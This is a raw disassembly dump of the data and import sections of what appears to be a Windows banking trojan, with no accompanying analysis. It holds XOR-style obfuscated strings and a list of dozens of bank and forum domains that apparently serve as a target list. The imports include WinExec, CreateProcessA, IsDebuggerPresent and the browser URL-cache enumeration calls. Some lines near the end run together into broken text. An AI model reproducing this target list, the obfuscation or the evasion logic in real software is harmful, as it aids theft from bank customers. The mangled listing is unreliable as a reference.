aPA3i4rl	db 'P!-%"<+A*#>!3I4RL',0 ; DATA XREF: sub_406E3F+5F0o
aName:					; DATA XREF: sub_406E3F+2Ao
		unicode	0, <name>,0
		align 10h
aValue:					; DATA XREF: sub_406E3F+15o
		unicode	0, <value>,0
dword_445E6C	dd 3B2A2004h, 2F263A26h, 2700693Dh, 273B2C3Dh, 0C693D2Ch
					; DATA XREF: sub_406B40+97o
		dd 26253931h, 3B2C3Bh
a9ba05972F6a811:			; DATA XREF: sub_406A44+45o
		unicode	0, <{9BA05972-F6A8-11CF-A442-00A0C90A8F39}>,0
aHtml		db '<HTML><!--',0       ; DATA XREF: sub_4063A9+428o
					; sub_4063A9+433o ...
aXOkrecv11	db 'X-okRecv11',0       ; DATA XREF: sub_4063A9+370o
aUts		db 'îâáÕÆÊÂ',0          ; DATA XREF: sub_4063A9+2EBo
aVVZkzZuZt	db '‚Ô‚Ò‡Š‡êÎÄÕÈÔÈÁÓ‡îÉÓÂÕÉÂÓ‡âß×ËÈÕÂÕ',0 ; DATA XREF: sub_4063A9+299o
byte_445F17	db 0FBh			; DATA XREF: sub_4063A9+19Ao
aUIZ		db 'îÂß×ËÈÕ‰Â߇',0
word_445F26	dw 0C6F7h		; DATA XREF: sub_4063A9+89o
		db 0D3h, 0CFh, 0
byte_445F2B	db 0F4h			; DATA XREF: sub_4063A9+77o
		dd 0D0D3C1C8h, 0FBC2D5C6h, 0D5C4CEEAh, 0C1C8D4C8h, 0E2EEFBD3h
		dd 0D3C2F487h, 0F4FBD7D2h, 0D7D2D3C2h
		db 0
byte_445F4D	db 0E6h, 2 dup(0D7h)	; DATA XREF: sub_406081+2F8o
		dd 0C9C2D1E2h, 0F4FBD4D3h, 0CAC2CFC4h, 0E6FBD4C2h, 0FBD4D7D7h
		dd 0CBD7DFE2h, 0D5C2D5C8h, 0D3C4E6FBh, 0D3C6D1CEh, 0E3C0C9CEh
		dd 0CAD2C4C8h, 0FBD3C9C2h, 0D5D2E489h, 0D3C9C2D5h
		db 0
byte_445F89	db 0E6h, 2 dup(0D7h)	; DATA XREF: sub_406081+2C8o
		dd 0C9C2D1E2h, 0F4FBD4D3h, 0CAC2CFC4h, 0E6FBD4C2h, 0FBD4D7D7h
		dd 0CBD7DFE2h, 0D5C2D5C8h, 0D1C6E9FBh, 0D3C6C0CEh, 0FBC0C9CEh
		dd 0D5D2E489h, 0D3C9C2D5h
		db 0
byte_445FBD	db 0E0h, 0CBh, 0C8h	; DATA XREF: sub_406081+294o
		dd 0F2CBC6C5h, 0E8D5C2D4h, 0CECBC1C1h
		db 0C9h, 0C2h, 0
byte_445FCF	db 0F4h			; DATA XREF: sub_406081+282o
		dd 0D0D3C1C8h, 0FBC2D5C6h, 0D5C4CEEAh, 0C1C8D4C8h, 0CEF0FBD3h
		dd 0D0C8C3C9h, 0D2E4FBD4h, 0C9C2D5D5h, 0D5C2F1D3h, 0C9C8CED4h
		dd 0D3C9EEFBh, 0C2C9D5C2h, 0C2F487D3h, 0C9CED3D3h
		db 0C0h, 0D4h, 0
aI_0		db 'ÎÂß×ËÈÕ‰ÂßÂ',0     ; DATA XREF: sub_406081+245o
dword_446018	dd 0F4FBD482h, 0D0D3C1C8h, 0FBC2D5C6h, 0D5C4CEEAh, 0C1C8D4C8h
					; DATA XREF: sub_406081+219o
		dd 0C9EEFBD3h, 0C9D5C2D3h, 0E287D3C2h, 0C8CBD7DFh, 0FBD5C2D5h
		dd 0C9CEC6EAh, 0C6C2E1FBh, 0C2D5D2D3h, 0D3C9C8E4h, 0FBCBC8D5h
		dd 0F3E6E2E1h, 0F8E2F5F2h, 0E6E4E8EBh, 0E4E6EAEBh, 0E2E9EEEFh
		dd 0E4E8EBF8h, 0F0E8E3ECh
		db 0E9h, 0
word_446072	dw 0C2DEh		; DATA XREF: sub_406081+1AFo
		db 0D4h, 0
word_446076	dw 0D5E5h		; DATA XREF: sub_406081+19Do
		dd 0C2D4D0C8h, 0F7D0C2E9h, 0C2C4C8D5h
		db 2 dup(0D4h),	0
byte_446087	db 89h			; DATA XREF: sub_406081+18Bo
		dd 0E6E1E2E3h, 0FBF3EBF2h, 0F3E1E8F4h, 0E2F5E6F0h, 0C4CEEAFBh
		dd 0C8D4C8D5h, 0F0FBD3C1h, 0C8C3C9CEh, 0E4FBD4D0h, 0C2D5D5D2h
		dd 0C2F1D3C9h, 0C8CED4D5h, 0DFE2FBC9h, 0D5C8CBD7h, 0E5FBD5C2h
		dd 0D4D0C8D5h, 0D0C2E9C2h, 0C4C8D5F7h, 0D4D4C2h
dword_4460D4	dd 0F3E1E8F4h, 0E2F5E6F0h, 0CBC8F7FBh, 0C2CEC4CEh, 0CEEAFBD4h
					; DATA XREF: sub_406081+E7o
		dd 0D4C8D5C4h, 0FBD3C1C8h, 0C3C9CEF0h, 0FBD4D0C8h, 0D5D5D2E4h
		dd 0F1D3C9C2h, 0CED4D5C2h, 0EEFBC9C8h, 0D5C2D3C9h, 87D3C2C9h
		dd 0D3D3C2F4h, 0D4C0C9CEh, 0C9C8FDFBh, 82FBD4C2h
		db 0D2h, 0
aCscc		db '–‘—–',0             ; DATA XREF: sub_406081+90o
					; sub_406081+BEo ...
byte_446127	db 0F4h			; DATA XREF: sub_406081+5Bo
		dd 0F0F3E1E8h, 0FBE2F5E6h, 0D5C4CEEAh, 0C1C8D4C8h, 0CEF0FBD3h
		dd 0D0C8C3C9h, 0D2E4FBD4h, 0C9C2D5D5h, 0D5C2F1D3h, 0C9C8CED4h
		dd 0D3C9EEFBh, 0C2C9D5C2h, 0C2F487D3h, 0C9CED3D3h, 0FDFBD4C0h
		dd 0D4C2C9C8h, 0D282FBh
aIiS_3		db '›ˆÏÓÊË™',0          ; DATA XREF: sub_4056EE+8B8o
aIiS_2		db '›ˆÅÈÃÞ™',0          ; DATA XREF: sub_4056EE+89Bo
aIiS_1		db '›ˆÔÄÕÎ×Ó™',0        ; DATA XREF: sub_4056EE+873o
word_446186	dw 0C2D4h		; DATA XREF: sub_4056EE+80Do
		dd 0CACEF3D3h, 0D3D2C8C2h, 0D482858Fh, 8B858E8Fh, 9C8ED282h
		db 0
byte_44619D	db 0DAh, 0		; DATA XREF: sub_4056EE+7F5o
aIvIPo		db 'ÃÈÄÒÊÂÉÓ‰‚Ô‰ÔÒÅÊÎÓŽœ',0 ; DATA XREF: sub_4056EE+7ABo
aZvPo		db 'ÁÒÉÄÓÎÈɇ‚ÔŽÜ',0   ; DATA XREF: sub_4056EE+76Fo
aVVix		db '‚Ä‚‰•Ò',0           ; DATA XREF: sub_4056EE+716o
aIS_2		db '›ÔÄÕÎ×Ó™',0         ; DATA XREF: sub_4056EE+6DEo
aIiS_0		db '›ˆÁÈÕÊ™',0          ; DATA XREF: sub_4056EE+6C1o
aIZEEzAas	db '›ÎÉ×ÒÓ‡ÓÞך…ÔÒÅÊÎÓ…‡ÑÆËÒš€€™',0 ; DATA XREF: sub_4056EE+6A9o
aV		db '‚ÔÛ',0              ; DATA XREF: sub_4056EE+56Fo
aIZEEzAvAzAvVAs	db '›ÎÉ×ÒÓ‡ÓÞך…ÂÃÎÓ…‡ÑÆËÒš€‚Ô€‡ÉÆÊš€‚Ô‚Ò€™›ÅÕ™ª­',0
					; DATA XREF: sub_4056EE+4A6o
					; sub_4056EE+617o
aIZEEzAvAzAAsiS	db '›ÎÉ×ÒÓ‡ÓÞך…ÂÃÎÓ…‡ÑÆËÒš€‚Ò€‡ÉÆÊš€Æ€™›ÅÕ™ª­',0
					; DATA XREF: sub_4056EE+328o
word_44625E	dw 0C19Bh		; DATA XREF: sub_4056EE+2DAo
		dd 87CAD5C8h, 0CED3C4C6h, 859AC9C8h, 8785D482h,	0CFD3C2CAh
		dd 859AC3C8h, 0F3F4E8F7h, 0C6C98785h, 859AC2CAh, 9985D482h
		db 0
aVif		db 'Á‚‰”Ò',0            ; DATA XREF: sub_4056EE+288o
aIS_1		db '›ÅÈÃÞ™',0           ; DATA XREF: sub_4056EE+244o
aIiS		db '›ˆÏÂÆÃ™',0          ; DATA XREF: sub_4056EE+221o
aMicrosoftCorp	db 'MicroSoft-Corp',0   ; DATA XREF: sub_4056EE+1E7o
					; sub_4063A9+2A9o
aISvVIiS	db '›ÓÎÓË™‚Ô‚Ò›ˆÓÎÓË™',0 ; DATA XREF: sub_4056EE+1D7o
aIS_0		db '›ÏÂÆÃ™',0           ; DATA XREF: sub_4056EE+1B4o
aIS		db '›ÏÓÊË™',0           ; DATA XREF: sub_4056EE+191o
aI		db '‰ÏÓÊ',0             ; DATA XREF: sub_4056EE+150o
aVVV		db '‚Ô‚Ä‚Ä',0           ; DATA XREF: sub_405600+86o
					; sub_4056EE+424o
aNin		db '‰',0              ; DATA XREF: sub_405409+ACo
aS		db '˜',0                ; DATA XREF: sub_405409+4Ao
aBi		db '‰ÀÙ',0             ; DATA XREF: sub_40507F+14Do
aI_2		db '‰ÀÙ',0              ; DATA XREF: sub_40507F+F7o
aIUIUIUIUIUIU	db 'œÔ‰œžÄÔ‰œžÄÔ‰œžÄÔ‰œžÄÔ‰œžÄÔ‰œžÄÔ',0 ; DATA XREF: sub_40507F+8Ao
byte_44630B	db 0FFh			; DATA XREF: sub_40507F+55o
aBiB		db '‰ÀÙ',0
aRgT_3		db 'ƒÏÉÂØÉÞ’',0        ; DATA XREF: sub_404DE3+1BEo
aRT_0		db 'ÏÉÂØÉÞ’',0         ; DATA XREF: sub_404DE3+191o
aRgT_2		db 'ƒÊÃÂØ’',0          ; DATA XREF: sub_404DE3+157o
aRgT_1		db 'ƒÙ’',0             ; DATA XREF: sub_404DE3+12Ao
aRgT_0		db 'ƒÎ’',0             ; DATA XREF: sub_404DE3+FDo
aRgT		db 'ƒÅ’',0             ; DATA XREF: sub_404DE3+C2o
aRT_1		db 'Å’',0              ; DATA XREF: sub_404DE3+95o
aRT_3		db 'Ù’',0              ; DATA XREF: sub_404DE3+50o
aRT_4		db 'Î’',0              ; DATA XREF: sub_404DE3+23o
aRT		db 'ÎÞ’',0             ; DATA XREF: sub_404D49+95o
aBbtm		db '’Œ',0             ; DATA XREF: sub_404BA0+97o
aRnbbm		db 'Œ',0            ; DATA XREF: sub_404A6B+6Bo
aBj		db '¡¦',0               ; DATA XREF: sub_40479E+2B4o
					; sub_404DE3+1EBo
aGgiIIBj	db 'ƒƒ‰Ï‰Ï‰Ï¡¦',0       ; DATA XREF: sub_40479E+20Do
aMiIIMsmiC	db 'ÚÍÞŒ‰Ï‰Ï‰ÏŒ‘Œ‰Ù—',0 ; DATA XREF: sub_40479E+11Eo
aMjg		db 'Œ†ƒ',0              ; DATA XREF: sub_40479E+E4o
aII		db '‰ß‰Ï',0             ; DATA XREF: sub_40479E+7Ao
					; sub_404BA0-91o ...
aGjm		db 'ƒ†Œ',0              ; DATA XREF: sub_40479E+44o
aBlind_user	db 'blind_user',0       ; DATA XREF: sub_404602+6Eo
					; sub_4046BD+Bo
byte_44638F	db 96h			; DATA XREF: sub_4042A4+28Co
		dd 0F09C93C0h, 0C09693h
dword_446398	dd 0DCDCDF89h, 0F3B9BEC3h, 93DFD6D7h, 0DD8DC096h, 0B9BEDFC6h
					; DATA XREF: sub_4042A4+20Co
		dd 93D5DAF3h, 0C0DACBD6h, 0C09693C7h, 0C7DCD493h, 0DCDF93DCh
		dd 0B9BEC3DCh, 0DFD6D7F3h, 8DC09693h, 0BEDFC6DDh
		db 0B9h, 0
aQA_0		db 'ïÐÜÞÞÒÝ×ÐÜÞ',0     ; DATA XREF: sub_4042A4+19Fo
aCQA_1		db '–ÀïÐÜÞÞÒÝ×ÃÚÕ',0   ; DATA XREF: sub_4042A4+171o
aCQKA		db '–ÀïËÀßÕ×ߊËÑÒÇ',0  ; DATA XREF: sub_4042A4+14Co
aQA		db 'ïÐÞ×ÖËÖ',0         ; DATA XREF: sub_4042A4+FCo
aCQA_0		db '–ÀïÐÞ×ÃÚÕ',0       ; DATA XREF: sub_4042A4+DCo
aCQA		db '–ÀïËÀßÕ×ßÝÇÑÒÇ',0  ; DATA XREF: sub_4042A4+BCo
aAhzyoKrcgmAAhz	db ']ahzyo|kRCgm|a}ahzRYg`jay}RM{||k`zXk|}ga`R]fkbb]k|xgmkAldkmzJkbow'
					; DATA XREF: sub_40409C+78o
		db 'Baoj',0
aOOZckZ		db 'O~o|zck`z',0        ; DATA XREF: sub_40409C+45o
aZfKojgIcajkb	db 'Zf|kojg`iCajkb',0   ; DATA XREF: sub_40409C+33o
byte_446481	db 0			; DATA XREF: sub_40409C+7o
					; sub_406081+2D6o ...
aMbGjrRgAmKXk	db 'MB]GJR+}RG`^|am]k|xk|=<',0 ; DATA XREF: sub_40403C+28o
aRJbb		db '+}R+} jbb',0        ; DATA XREF: sub_403D6F+23Ao
aUVVVVVVVVs	db 'u+>:V+>:V#+>:V#+>:V#+>:V#+>:V+>:V+>:Vs',0 ; DATA XREF: sub_403D6F+3Eo
a_		db '.',0                ; DATA XREF: sub_403BAD+15Do
aRKvk		db '+}R+} kvk',0        ; DATA XREF: sub_403BAD+6Eo
a6v		db '+>6V',0             ; DATA XREF: sub_403AC7+8Ao
aBi_0:					; DATA XREF: sub_4038D6+34o
					; .text:004039A1o ...
		unicode	0, <¡›>
byte_4464E0	db 0FBh, 0		; DATA XREF: sub_4036DA+BCo
word_4464E2	dw 0E09Ch		; DATA XREF: sub_40352B+4Fo
					; sub_4035A9+38o
		db 0
aChevychasebank	db 'chevychasebank.com',0 ; DATA XREF: .data:0043B1D4o
aGronxplanets_r	db 'gronxplanets.ru',0  ; DATA XREF: .data:0043B1D0o
aWww_mdmbank_ru	db 'www.mdmbank.ru',0   ; DATA XREF: .data:0043B1CCo
aFethard_biz	db 'fethard.biz',0      ; DATA XREF: .data:0043B1C8o
aRoyalbank_com	db 'royalbank.com',0    ; DATA XREF: .data:0043B1C4o
aSecuritylab_ru	db 'securitylab.ru',0   ; DATA XREF: .data:0043B1C0o
aTatNeftbank_ru	db 'tat-neftbank.ru',0  ; DATA XREF: .data:0043B1BCo
aSeclab_ru	db 'seclab.ru',0        ; DATA XREF: .data:0043B1B8o
aOpenbank_com	db 'openbank.com',0     ; DATA XREF: .data:0043B1B4o
aGutabank_ru	db 'gutabank.ru',0      ; DATA XREF: .data:0043B1B0o
aWww_b2bTrust_c	db 'www.b2b-trust.com',0 ; DATA XREF: .data:0043B1ACo
aGrepwareFacili	db 'grepware-facility.ru',0 ; DATA XREF: .data:0043B1A8o
aWww_uralsib_ru	db 'www.uralsib.ru',0   ; DATA XREF: .data:0043B1A4o
a53bank_com	db '53bank.com',0       ; DATA XREF: .data:0043B1A0o
aWww_nbc_caInde	db 'www.nbc.ca/index.php',0 ; DATA XREF: .data:0043B19Co
aTotallyfreeban	db 'totallyfreebanking.com',0 ; DATA XREF: .data:0043B198o
aBarclays_com	db 'barclays.com',0     ; DATA XREF: .data:0043B194o
aWww_lbcdirect_	db 'www.lbcdirect.laurentianbank.ca/index.php',0
					; DATA XREF: .data:0043B190o
aKidosBank_ru	db 'kidos-bank.ru',0    ; DATA XREF: .data:0043B18Co
aYambo_biz	db 'yambo.biz',0        ; DATA XREF: .data:0043B188o
aProrat_net	db 'prorat.net',0       ; DATA XREF: .data:0043B184o
aWww1_hsbc_caIn	db 'www1.hsbc.ca/index.php',0 ; DATA XREF: .data:0043B180o
aWww_ovk_ru	db 'www.ovk.ru',0       ; DATA XREF: .data:0043B17Co
aWww_rbc_com	db 'www.rbc.com',0      ; DATA XREF: .data:0043B178o
aMasterX_comFor	db 'master-x.com/forum/',0 ; DATA XREF: .data:0043B174o
aWww_allahabadb	db 'www.allahabadbank.com',0 ; DATA XREF: .data:0043B170o
aOnlineBusiness	db 'online-business.lloydstsb.co.uk',0 ; DATA XREF: .data:0043B16Co
aMyonlineaccoun	db 'myonlineaccounts2.abbeynational.co.uk',0 ; DATA XREF: .data:0043B168o
aWww_absolutban	db 'www.absolutbank.ru',0 ; DATA XREF: .data:0043B164o
aWww_nomos_ru	db 'www.nomos.ru',0     ; DATA XREF: .data:0043B160o
aWww_netmagiste	db 'www.netmagister.com',0 ; DATA XREF: .data:0043B15Co
aWww_kmb_ru	db 'www.kmb.ru',0       ; DATA XREF: .data:0043B158o
aWww_spyinstruc	db 'www.spyinstructors.com',0 ; DATA XREF: .data:0043B154o
aAcroleinHawk_r	db 'acrolein-hawk.rubanking.halifax-online.co.uk',0
					; DATA XREF: .data:0043B150o
aWww_icbank_ru	db 'www.icbank.ru',0    ; DATA XREF: .data:0043B14Co
aWww_bankofindi	db 'www.bankofindia.com',0 ; DATA XREF: .data:0043B148o
aPizdabolInc_ru	db 'pizdabol-inc.ru',0  ; DATA XREF: .data:0043B144o
aWww_sbrf_ru	db 'www.sbrf.ru',0      ; DATA XREF: .data:0043B140o
aWww_candidatev	db 'www.candidateverifier.com/index.php',0 ; DATA XREF: .data:0043B13Co
aWww_worldbank_	db 'www.worldbank.org/index.php',0 ; DATA XREF: .data:0043B138o
aDigitalRelaxkg	db 'digital-relaxkgb.ru',0 ; DATA XREF: .data:0043B134o
aAsmworm_com	db 'asmworm.com',0      ; DATA XREF: .data:0043B12Co
aCrutop_nuVbu_1	db 'crutop.nu/vbulletin/showthread.php',0 ; DATA XREF: .data:0043B124o
aWww_uniastrum_	db 'www.uniastrum.ru',0 ; DATA XREF: .data:0043B120o
aCrutop_nuVbu_0	db 'crutop.nu/vbulletin/forumdisplay.php',0 ; DATA XREF: .data:0043B11Co
aWww_mmbank_ru	db 'www.mmbank.ru',0    ; DATA XREF: .data:0043B118o
aCrutop_nuVbull	db 'crutop.nu/vbulletin/',0 ; DATA XREF: .data:0043B114o
aAlfabank_ru	db 'alfabank.ru',0      ; DATA XREF: .data:0043B110o
aHyperSpaceFuel	db 'hyper-space-fuel.ru',0 ; DATA XREF: .data:0043B10Co
aWww_cwbank_com	db 'www.cwbank.com',0   ; DATA XREF: .data:0043B108o
aWww_vtb_ru	db 'www.vtb.ru',0       ; DATA XREF: .data:0043B104o
aWww_cibc_com	db 'www.cibc.com',0     ; DATA XREF: .data:0043B100o
aWww_bankofmadu	db 'www.bankofmadura.com',0 ; DATA XREF: .data:0043B0FCo
aWww_bmo_com	db 'www.bmo.com',0      ; DATA XREF: .data:0043B0F8o
aWww_bankBanque	db 'www.bank-banque-canada.ca/index.php',0 ; DATA XREF: .data:0043B0F4o
aWww_masterbank	db 'www.masterbank.ru',0 ; DATA XREF: .data:0043B0F0o
aEbookfinaltras	db 'ebookfinaltrash.ru',0 ; DATA XREF: .data:0043B0ECo
aMasterX_com	db 'master-x.com',0     ; DATA XREF: .data:0043B0E8o
aWww_bbin_ru	db 'www.bbin.ru',0      ; DATA XREF: .data:0043B0E4o
aOlb2_nationet_	db 'olb2.nationet.com',0 ; DATA XREF: .data:0043B0E0o
aWelcome3_smile	db 'welcome3.smile.co.uk',0 ; DATA XREF: .data:0043B0DCo
aWww_baltbank_r	db 'www.baltbank.ru',0  ; DATA XREF: .data:0043B0D8o
aNew_egg_com	db 'new.egg.com',0      ; DATA XREF: .data:0043B0D4o
aProdexteam_n_1	db 'prodexteam.netcrutop.nu',0 ; DATA XREF: .data:0043B0D0o
aWww_proxySocks	db 'www.proxy-socks.net',0 ; DATA XREF: .data:0043B0CCo
					; .data:0043B130o
aWww_cbr_ru	db 'www.cbr.ru',0       ; DATA XREF: .data:0043B0C8o
aProdexteam_n_0	db 'prodexteam.net/main.htm',0 ; DATA XREF: .data:0043B0C4o
aProdexteam_net	db 'prodexteam.net',0   ; DATA XREF: .data:0043B0C0o
aAtmacasoft_com	db 'atmacasoft.com',0   ; DATA XREF: .data:0043B0BCo
					; .data:0043B128o
aSiliconfirewar	db 'siliconfireware.ru',0 ; DATA XREF: .data:off_43B0B8o
		align 4
dword_446A04	dd 332C4425h, 11D026CBh, 0C00083B4h, 1901D94Fhdword_446A14	dd 3050F1FFh, 11CF98B5h, 0AA0082BBh, 0BCEBD00h					; sub_406E3F+97Bo
dword_446A24	dd 3050F1F7h, 11CF98B5h, 0AA0082BBh, 0BCEBD00hdword_446A34	dd 332C4427h, 11D026CBh, 0C00083B4h, 1901D94Fhdword_446A44	dd 85CB6900h, 11CF4D95h, 80000C96h, 85EEF4C7hdword_446A54	dd 2 dup(0)			dd 0C0h, 46000000h
dword_446A64	dd 0D30C1661h, 11D0CDAFh, 0C0003E8Ah, 6EE2C94Fhdword_446A74	dd 10h dup(0)						; sub_40B73C:loc_40B756o ...
dword_446AB4	dd 0							; sub_40B6E0:loc_40B722o ...
		dd 0Fh dup(0)
dword_446AF4	dd 0							; sub_40B845+825r
dword_446AF8	dd 0							; sub_40B845+82Cr
dword_446AFC	dd 0							; sub_40B845+834r
dword_446B00	dd 0							; sub_40B845+83Cr
		align 800h
_data		ends

; Section 4. (virtual address 00047000)
; Virtual size			: 00002000 (   8192.)
; Section size in file		: 00002000 (   8192.)
; Offset to raw	data for section: 00047000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata		segment	para public 'DATA' use32
		assume cs:_idata
		;org 447000h
off_447000	dd offset dword_44710C	; DATA XREF: .idata:00447E00o
		dd 2 dup(0)
		dd offset dword_44710C
		dd offset dword_44710C
off_447014	dd offset dword_44711C	; DATA XREF: .idata:00447E10o
					; .idata:00447E14o
		align 10h
		dd offset dword_44711C
		dd offset dword_44711C
off_447028	dd offset dword_447134	; DATA XREF: .idata:00447E24o
					; .idata:00447E28o ...
		dd 2 dup(0)
		dd offset dword_447134
		dd offset dword_447134
off_44703C	dd offset dword_447214	; DATA XREF: .idata:00447E44o
					; .idata:00447E48o ...
		dd 2 dup(0)
		dd offset dword_447214
		dd offset dword_447214
off_447050	dd offset dword_447290	; DATA XREF: .idata:00447F28o
					; .idata:00447F2Co ...
		dd 2 dup(0)
		dd offset dword_447290
		dd offset dword_447290
off_447064	dd offset dword_4472AC	; DATA XREF: .idata:00447FA8o
					; .idata:00447FACo ...
		align 10h
		dd offset dword_4472AC
		dd offset dword_4472AC
off_447078	dd offset dword_4472E8	; DATA XREF: .idata:00447FCCo
					; .idata:00447FD0o ...
		dd 2 dup(0)
		dd offset dword_4472E8
		dd offset dword_4472E8
off_44708C	dd offset dword_447338	; DATA XREF: .idata:0044800Co
					; .idata:00448010o ...
		dd 2 dup(0)
		dd offset dword_447338
		dd offset dword_447338
		dd 1Ah dup(0)
		dd 47574h
dword_44710C	dd 2 dup(0)						; .idata:0044700Co ...
		dd 47588h, 475A4h
dword_44711C	dd 2 dup(0)						; .idata:00447020o ...
		dd 475C0h, 475D4h, 475E8h, 475F8h
dword_447134	dd 2 dup(0)						; .idata:00447034o ...
		dd 4760Ch, 4761Ch, 47638h, 4764Ch, 47664h, 4767Ch, 4768Ch
		dd 4769Ch, 476ACh, 476C4h, 476D8h, 476E8h, 476FCh, 47710h
		dd 47728h, 47738h, 47748h, 47758h, 47768h, 47780h, 47798h
		dd 477ACh, 477C0h, 477D4h, 477ECh, 477F8h, 47810h, 47820h
		dd 47830h, 47844h, 47854h, 47864h, 47870h, 47880h, 47890h
		dd 478A0h, 478ACh, 478B8h, 478C8h, 478DCh, 478ECh, 478FCh
		dd 47904h, 47918h, 47928h, 47938h, 47948h, 4795Ch, 47974h
		dd 47980h, 4798Ch, 47998h, 479A4h, 479B4h
dword_447214	dd 2 dup(0)						; .idata:00447048o ...
		dd 479C4h, 479D8h, 479E8h, 479F8h, 47A04h, 47A14h, 47A20h
		dd 47A38h, 47A48h, 47A54h, 47A60h, 47A74h, 47A84h, 47A94h
		dd 47AA8h, 47ABCh, 47AD0h, 47AE4h, 47AF8h, 47B0Ch, 47B20h
		dd 47B30h, 47B3Ch, 47B50h, 47B60h, 47B74h, 47B84h, 47B94h
		dd 47BA8h
dword_447290	dd 2 dup(0)						; .idata:0044705Co ...
		dd 47BBCh, 47BD0h, 47BE0h, 47BF0h, 47C08h
dword_4472AC	dd 2 dup(0)						; .idata:00447070o ...
		dd 47C18h, 47C2Ch, 47C44h, 47C58h, 47C68h, 47C78h, 47C8Ch
		dd 47CA0h, 47CB4h, 47CC8h, 47CDCh, 47CF8h, 47D10h
dword_4472E8	dd 2 dup(0)						; .idata:00447084o ...
		dd 47D2Ch, 47D34h, 47D44h, 47D50h, 47D5Ch, 47D64h, 47D6Ch
		dd 47D78h, 47D84h, 47D90h, 47D98h, 47DA0h, 47DACh, 47DB8h
		dd 47DC0h, 47DCCh, 47DD8h, 47DE4h
dword_447338	dd 2 dup(0)						; .idata:00447098o ...
dword_447340	dd 77124C05h			dd 2 dup(0)
dword_44734C	dd 42C2DE3Dh	; resolved to->WININET.FindFirstUrlCacheEntryAdword_447350	dd 42C2E399h	; resolved to->WININET.FindNextUrlCacheEntryA		dd 2 dup(0)
dword_44735C	dd 774FFAC3h	dword_447360	dd 7750CB9Ch	dword_447364	dd 77502A37h	dword_447368	dd 774FEE36h			dd 2 dup(0)
dword_447374	dd 7C81CDDAh	; resolved to->KERNEL32.ExitProcessdword_447378	dd 7C8329D9h	; resolved to->KERNEL32.ExpandEnvironmentStringsAdword_44737C	dd 7C812F1Dh	; resolved to->KERNEL32.GetCommandLineAdword_447380	dd 7C809920h	; resolved to->KERNEL32.GetCurrentProcessIddword_447384	dd 7C809728h	; resolved to->KERNEL32.GetCurrentThreadIddword_447388	dd 7C810A77h	; resolved to->KERNEL32.GetFileSizedword_44738C	dd 7C831C45h	; resolved to->KERNEL32.GetFileTimedword_447390	dd 7C910331h	; resolved to->NTDLL.RtlGetLastWin32Errordword_447394	dd 7C80B4CFh	; resolved to->KERNEL32.GetModuleFileNameAdword_447398	dd 7C80B6A1h	; resolved to->KERNEL32.GetModuleHandleAdword_44739C	dd 7C809B47h	; resolved to->KERNEL32.CloseHandledword_4473A0	dd 7C80ADA0h	; resolved to->KERNEL32.GetProcAddressdword_4473A4	dd 7C80ABC1h	; resolved to->KERNEL32.GetProcessHeapdword_4473A8	dd 7C814EEAh	; resolved to->KERNEL32.GetSystemDirectoryAdword_4473AC	dd 7C835DCAh	; resolved to->KERNEL32.GetTempPathAdword_4473B0	dd 7C80929Ch	; resolved to->KERNEL32.GetTickCountdword_4473B4	dd 7C8111DAh	; resolved to->KERNEL32.GetVersiondword_4473B8	dd 7C812ADEh	; resolved to->KERNEL32.GetVersionExAdword_4473BC	dd 7C821BA5h	; resolved to->KERNEL32.GetVolumeInformationAdword_4473C0	dd 7C821363h	; resolved to->KERNEL32.GetWindowsDirectoryAdword_4473C4	dd 7C8360A9h	; resolved to->KERNEL32.GlobalAddAtomAdword_4473C8	dd 7C830BBBh	; resolved to->KERNEL32.GlobalDeleteAtomdword_4473CC	dd 7C8360C3h	; resolved to->KERNEL32.GlobalFindAtomAdword_4473D0	dd 7C8310F2h	; resolved to->KERNEL32.GlobalMemoryStatusdword_4473D4	dd 7C8286EEh	; resolved to->KERNEL32.CopyFileAdword_4473D8	dd 7C809766h	; resolved to->KERNEL32.InterlockedIncrementdword_4473DC	dd 7C809E01h	; resolved to->KERNEL32.IsBadReadPtrdword_4473E0	dd 7C809E79h	; resolved to->KERNEL32.IsBadWritePtrdword_4473E4	dd 7C813093h	; resolved to->KERNEL32.IsDebuggerPresentdword_4473E8	dd 7C801D77h	; resolved to->KERNEL32.LoadLibraryAdword_4473EC	dd 7C80998Dh	; resolved to->KERNEL32.LocalAllocdword_4473F0	dd 7C80992Fh	; resolved to->KERNEL32.LocalFreedword_4473F4	dd 7C80EA1Bh	; resolved to->KERNEL32.OpenMutexAdword_4473F8	dd 7C8309E1h	; resolved to->KERNEL32.OpenProcessdword_4473FC	dd 7C801A24h	; resolved to->KERNEL32.CreateFileAdword_447400	dd 7C80180Eh	; resolved to->KERNEL32.ReadFiledword_447404	dd 7C937A40h	; resolved to->NTDLL.RtlUnwinddword_447408	dd 7C90311Bh	; resolved to->NTDLL.RtlZeroMemorydword_44740C	dd 7C810B8Eh	; resolved to->KERNEL32.SetFilePointerdword_447410	dd 7C831CB8h	; resolved to->KERNEL32.SetFileTimedword_447414	dd 7C80E93Fh	; resolved to->KERNEL32.CreateMutexAdword_447418	dd 7C802442h	; resolved to->KERNEL32.Sleepdword_44741C	dd 7C801E16h	; resolved to->KERNEL32.TerminateProcessdword_447420	dd 7C809A51h	; resolved to->KERNEL32.VirtualAllocdword_447424	dd 7C809AE4h	; resolved to->KERNEL32.VirtualFreedword_447428	dd 7C80B9D1h	; resolved to->KERNEL32.VirtualQuerydword_44742C	dd 7C802367h	; resolved to->KERNEL32.CreateProcessAdword_447430	dd 7C80A0D4h	; resolved to->KERNEL32.WideCharToMultiBytedword_447434	dd 7C86136Dh	; resolved to->KERNEL32.WinExecdword_447438	dd 7C810D87h	; resolved to->KERNEL32.WriteFiledword_44743C	dd 7C80BDB6h	; resolved to->KERNEL32.lstrlenAdword_447440	dd 7C809A09h	; resolved to->KERNEL32.lstrlenWdword_447444	dd 7C810637h	; resolved to->KERNEL32.CreateThreaddword_447448	dd 7C831EABh	; resolved to->KERNEL32.DeleteFileA		dd 2 dup(0)
